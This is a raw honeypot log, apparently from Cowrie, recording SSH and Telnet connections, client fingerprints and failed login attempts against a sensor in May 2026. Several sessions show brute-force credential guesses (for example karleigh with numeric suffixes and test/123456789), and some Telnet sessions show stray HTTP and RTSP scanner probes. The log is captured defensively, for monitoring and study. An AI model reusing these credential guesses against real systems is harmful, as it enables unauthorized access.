{"eventid":"cowrie.login.failed","username":"admin","password":"pdq466z7","message":"login attempt [admin/pdq466z7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:49:33.973432Z","src_ip":"211.254.212.59","session":"7d8bc2a5ce0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:49:35.175243Z","src_ip":"211.254.212.59","session":"7d8bc2a5ce0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":6262,"dst_ip":"159.203.135.109","dst_port":22,"session":"88181cbdb363","protocol":"ssh","message":"New connection: 213.209.159.56:6262 (159.203.135.109:22) [session: 88181cbdb363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:20.304339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:20.311020Z","src_ip":"213.209.159.56","session":"88181cbdb363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:20.396686Z","src_ip":"213.209.159.56","session":"88181cbdb363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karleigh","password":"karleigh","message":"login attempt [karleigh/karleigh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:20.799557Z","src_ip":"213.209.159.56","session":"88181cbdb363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karleigh","password":"karleigh1","message":"login attempt [karleigh/karleigh1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:21.885114Z","src_ip":"213.209.159.56","session":"88181cbdb363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karleigh","password":"karleigh123","message":"login attempt [karleigh/karleigh123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:22.970473Z","src_ip":"213.209.159.56","session":"88181cbdb363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karleigh","password":"karleigh1234","message":"login attempt [karleigh/karleigh1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:24.056319Z","src_ip":"213.209.159.56","session":"88181cbdb363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karleigh","password":"karleigh12345","message":"login attempt [karleigh/karleigh12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:25.145843Z","src_ip":"213.209.159.56","session":"88181cbdb363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:26.231488Z","src_ip":"213.209.159.56","session":"88181cbdb363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":57824,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8d4a9a714fd","protocol":"ssh","message":"New connection: 211.254.212.59:57824 (10.17.0.5:22) [session: b8d4a9a714fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:29.638494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:29.643868Z","src_ip":"211.254.212.59","session":"b8d4a9a714fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:29.843345Z","src_ip":"211.254.212.59","session":"b8d4a9a714fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:30.671677Z","src_ip":"211.254.212.59","session":"b8d4a9a714fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:50:31.874886Z","src_ip":"211.254.212.59","session":"b8d4a9a714fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":52160,"dst_ip":"10.17.0.5","dst_port":23,"session":"32b51217b66e","protocol":"telnet","message":"New connection: 35.241.183.187:52160 (10.17.0.5:23) [session: 32b51217b66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:15.744536Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":52172,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac3ac273e12","protocol":"telnet","message":"New connection: 35.241.183.187:52172 (10.17.0.5:23) [session: 2ac3ac273e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:15.899719Z"}
{"eventid":"cowrie.session.closed","duration":0.005448102951049805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:15.905043Z","src_ip":"35.241.183.187","session":"2ac3ac273e12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":52178,"dst_ip":"10.17.0.5","dst_port":23,"session":"461d3e78474a","protocol":"telnet","message":"New connection: 35.241.183.187:52178 (10.17.0.5:23) [session: 461d3e78474a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:16.055572Z"}
{"eventid":"cowrie.session.closed","duration":1.4106075763702393,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:17.155033Z","src_ip":"35.241.183.187","session":"32b51217b66e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40822,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f623eff8006","protocol":"telnet","message":"New connection: 35.241.183.187:40822 (10.17.0.5:23) [session: 3f623eff8006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:25.223187Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:25.229358Z","src_ip":"35.241.183.187","session":"3f623eff8006","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:25.233549Z","src_ip":"35.241.183.187","session":"3f623eff8006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0893697738647461,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:25.312417Z","src_ip":"35.241.183.187","session":"3f623eff8006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40834,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e522c15db3d","protocol":"telnet","message":"New connection: 35.241.183.187:40834 (10.17.0.5:23) [session: 4e522c15db3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:25.387080Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40838,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa0a1bd0f704","protocol":"telnet","message":"New connection: 35.241.183.187:40838 (10.17.0.5:23) [session: fa0a1bd0f704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:25.542887Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40854,"dst_ip":"10.17.0.5","dst_port":23,"session":"073e8ba1bbdd","protocol":"telnet","message":"New connection: 35.241.183.187:40854 (10.17.0.5:23) [session: 073e8ba1bbdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:25.698964Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40862,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cacdcb24f77","protocol":"telnet","message":"New connection: 35.241.183.187:40862 (10.17.0.5:23) [session: 1cacdcb24f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:25.853527Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40872,"dst_ip":"10.17.0.5","dst_port":23,"session":"93b218559817","protocol":"telnet","message":"New connection: 35.241.183.187:40872 (10.17.0.5:23) [session: 93b218559817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:26.009550Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40880,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca25d74ddd19","protocol":"telnet","message":"New connection: 35.241.183.187:40880 (10.17.0.5:23) [session: ca25d74ddd19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:26.168188Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40892,"dst_ip":"10.17.0.5","dst_port":23,"session":"a58ce6f8cd36","protocol":"telnet","message":"New connection: 35.241.183.187:40892 (10.17.0.5:23) [session: a58ce6f8cd36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:26.324660Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.254.212.59","src_port":46432,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb679ad1481e","protocol":"ssh","message":"New connection: 211.254.212.59:46432 (10.17.0.5:22) [session: bb679ad1481e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:26.455838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:26.459719Z","src_ip":"211.254.212.59","session":"bb679ad1481e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40902,"dst_ip":"10.17.0.5","dst_port":23,"session":"42212da77185","protocol":"telnet","message":"New connection: 35.241.183.187:40902 (10.17.0.5:23) [session: 42212da77185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:26.479313Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40906,"dst_ip":"10.17.0.5","dst_port":23,"session":"325d283c8bc9","protocol":"telnet","message":"New connection: 35.241.183.187:40906 (10.17.0.5:23) [session: 325d283c8bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:26.633517Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:26.660243Z","src_ip":"211.254.212.59","session":"bb679ad1481e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40916,"dst_ip":"10.17.0.5","dst_port":23,"session":"f453c8b2d0e2","protocol":"telnet","message":"New connection: 35.241.183.187:40916 (10.17.0.5:23) [session: f453c8b2d0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:26.862352Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40918,"dst_ip":"10.17.0.5","dst_port":23,"session":"36a2b22d6c03","protocol":"telnet","message":"New connection: 35.241.183.187:40918 (10.17.0.5:23) [session: 36a2b22d6c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:27.015868Z"}
{"eventid":"cowrie.session.closed","duration":0.003931760787963867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:27.019681Z","src_ip":"35.241.183.187","session":"36a2b22d6c03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40932,"dst_ip":"10.17.0.5","dst_port":23,"session":"da7345e0d5d0","protocol":"telnet","message":"New connection: 35.241.183.187:40932 (10.17.0.5:23) [session: da7345e0d5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:27.168989Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40940,"dst_ip":"10.17.0.5","dst_port":23,"session":"a74a5b188a58","protocol":"telnet","message":"New connection: 35.241.183.187:40940 (10.17.0.5:23) [session: a74a5b188a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:27.323720Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40954,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ee28a7db194","protocol":"telnet","message":"New connection: 35.241.183.187:40954 (10.17.0.5:23) [session: 7ee28a7db194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:27.479002Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@SSWORD123","message":"login attempt [test/P@SSWORD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:27.491122Z","src_ip":"211.254.212.59","session":"bb679ad1481e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40970,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfb35505613c","protocol":"telnet","message":"New connection: 35.241.183.187:40970 (10.17.0.5:23) [session: dfb35505613c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:27.632938Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40976,"dst_ip":"10.17.0.5","dst_port":23,"session":"d52b467fbb5a","protocol":"telnet","message":"New connection: 35.241.183.187:40976 (10.17.0.5:23) [session: d52b467fbb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:27.787504Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40992,"dst_ip":"10.17.0.5","dst_port":23,"session":"6364538877df","protocol":"telnet","message":"New connection: 35.241.183.187:40992 (10.17.0.5:23) [session: 6364538877df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:27.942676Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":40994,"dst_ip":"10.17.0.5","dst_port":23,"session":"b19e51a72b85","protocol":"telnet","message":"New connection: 35.241.183.187:40994 (10.17.0.5:23) [session: b19e51a72b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:28.097384Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":41000,"dst_ip":"10.17.0.5","dst_port":23,"session":"358f5da45c27","protocol":"telnet","message":"New connection: 35.241.183.187:41000 (10.17.0.5:23) [session: 358f5da45c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:28.251944Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":26854,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b8eb27f329","protocol":"telnet","message":"New connection: 35.241.183.187:26854 (10.17.0.5:23) [session: b1b8eb27f329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:28.407081Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:28.415832Z","src_ip":"35.241.183.187","session":"b1b8eb27f329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":26858,"dst_ip":"10.17.0.5","dst_port":23,"session":"d49bc05f921f","protocol":"telnet","message":"New connection: 35.241.183.187:26858 (10.17.0.5:23) [session: d49bc05f921f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:28.569448Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:28.694121Z","src_ip":"211.254.212.59","session":"bb679ad1481e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":26870,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bc5aef75480","protocol":"telnet","message":"New connection: 35.241.183.187:26870 (10.17.0.5:23) [session: 3bc5aef75480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:28.723753Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":26878,"dst_ip":"10.17.0.5","dst_port":23,"session":"152a442d27d2","protocol":"telnet","message":"New connection: 35.241.183.187:26878 (10.17.0.5:23) [session: 152a442d27d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:28.878571Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":26882,"dst_ip":"10.17.0.5","dst_port":23,"session":"a04b92b042e0","protocol":"telnet","message":"New connection: 35.241.183.187:26882 (10.17.0.5:23) [session: a04b92b042e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:29.033099Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":26890,"dst_ip":"10.17.0.5","dst_port":23,"session":"74a8f766a173","protocol":"telnet","message":"New connection: 35.241.183.187:26890 (10.17.0.5:23) [session: 74a8f766a173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:29.188278Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":26906,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fc5d8090a81","protocol":"telnet","message":"New connection: 35.241.183.187:26906 (10.17.0.5:23) [session: 2fc5d8090a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:29.343369Z"}
{"eventid":"cowrie.session.closed","duration":0.005102396011352539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:29.348347Z","src_ip":"35.241.183.187","session":"2fc5d8090a81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":26916,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cd4324746fc","protocol":"telnet","message":"New connection: 35.241.183.187:26916 (10.17.0.5:23) [session: 7cd4324746fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:29.497122Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.241.183.187","src_port":26922,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07586f3706d","protocol":"telnet","message":"New connection: 35.241.183.187:26922 (10.17.0.5:23) [session: b07586f3706d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:29.655390Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 7959","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 7959] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:29.661261Z","src_ip":"35.241.183.187","session":"b07586f3706d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":49695,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f6ee46ed1ab","protocol":"ssh","message":"New connection: 154.117.199.5:49695 (10.17.0.5:22) [session: 7f6ee46ed1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.042582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:51:36.275465Z","src_ip":"154.117.199.5","session":"7f6ee46ed1ab","protocol":"ssh"}
